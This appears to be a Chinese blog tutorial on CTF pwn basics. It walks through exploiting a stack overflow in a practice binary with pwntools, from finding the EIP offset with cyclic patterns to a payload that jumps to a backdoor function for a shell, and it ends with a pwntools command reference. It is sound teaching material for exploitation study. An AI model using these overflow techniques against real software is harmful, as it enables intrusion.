PWN学习 - Pwntools实现简单的栈溢出

PWN学习 - Pwntools实现简单的栈溢出

LMTEAM 163 2023-01-08

一、前言

学习CTF的PWN找了一个最简单的程序学习记录一下

首先下载漏洞程序

pwn_level1链接:https://lmpan.lmboke.com/pwn_level1.zip

先看一下程序的大概信息

微信图片_20230108193327

elf 32位 先大概看一下main函数

微信图片_20230108193401

再看一下vulnerable_function函数

微信图片_20230108193431

反编译看一下

微信图片_20230108193505

二、获取控制EIP的位置

新建一个exp1.py写如下代码

from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send(cyclic(0x100))

p.interactive()

终端跑一下

python3 exp1.py

微信图片_20230108193624

在pwndbg这个窗口窗口下面输入c,然后回车

微信图片_20230108193701

看EIP当前执行到了0x65616161,因为栈溢出覆盖到了EIP,但是这个地址不存在

加上一行代码搜一下0x65616161的位置

from pwn import *

p = process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')
p.send(cyclic(0x100))

print(cyclic_find(0x65616161))# 加上这行代码

p.interactive()

打印出13

微信图片_20230108193823

也就是我们只要填充13个字符就可以控制EIP了。

也可以在gdb中利用pattern命令来获取需要填充的字符数量

首先gdb加载程序,用命令pattern create 100 来创建一个长度为100的字符串,然后输入r命令运行程序,复制我们刚才生成的字符串输入

微信图片_20230108193901

回车然后用命令pattern offset 0x65616161获取需要填充的字符个数

微信图片_20230108193934

搜索结果出来了两个,小端13,大端 16,x86程序是小端的,所以是13,我们也可以用readelf命令确认一下

微信图片_20230108194003

三、跳转到后门

微信图片_20230108194048

后门函数,地址是在0x804849A

要执行这个函数,只要填充13个字符,再加上p32(0x804849A)就可以了

最终payload是

from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send(b'a'*13+p32(0x804849A))

p.interactive()

再运行一下脚本,在pwndbg这个窗口下面输入c,然后回车

在运行脚本那个终端输入ls,可以看到打印了同目录的文件

微信图片_20230108194204

四、原理

看一下vulnerable_function函数

微信图片_20230108194247

简单一点我们看ida反汇编的函数

微信图片_20230108194309

buf的大小是9,read的时候写入buf的数据是0x100,由此出现了溢出,读取的数据覆盖到了EIP就可以控制EIP了,我们对比一下read数据长度小于9和长度大于9的情况就清楚了,这个是输入123456的长度小9,read完返回到main+22

微信图片_20230108194340

再看一下长度超过9的出现溢出的情况

微信图片_20230108194407

对比不溢出的栈可以看到原来返回到main+22的地址被覆盖成了aaae也就是0x65616161,只要把这个换成我们要执行的后门函数地址就get shell了。

五、附录

pwntools常用命令

连接

remote('ip',端口)# 远程
process()# 本地

发送

send(data) # 发送数据
sendline(data) # 发送一行数据,相当于在数据末尾加\n
sendafter(xxx,data) # 接收到 xxx 之后发送 data

接收

recv(numb=4096, timeout=default) # 接收指定字节
recvline(keepends=True) # 接收一行,keepends为是否保留行尾的\n
recvuntil(delims, drop=False) # 一直读到 delims 的 pattern 出现为止
recvrepeat(timeout=default) # 持续接受直到EOF或timeout

交互

interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用

打包解包

p32()/p64() # 打包一个整数,分别打包为32位或64位
u32()/u64() # 解包一个字符串,得到整数

比如将0xdeadbeef进行32位的打包,将会得到’\xef\xbe\xad\xde’(小端)

payload = p32(0xdeadbeef)
payload = p64(0xdeadbeef)

gdb模块

gdb.attach(target, gdbscript = None) # 在一个新终端打开 GDB 并 attach 到指定 PID 的进程,或者一个 pwnlib.tubes 对象

例如

bash = process(‘./bash’)
gdb.attach(bash)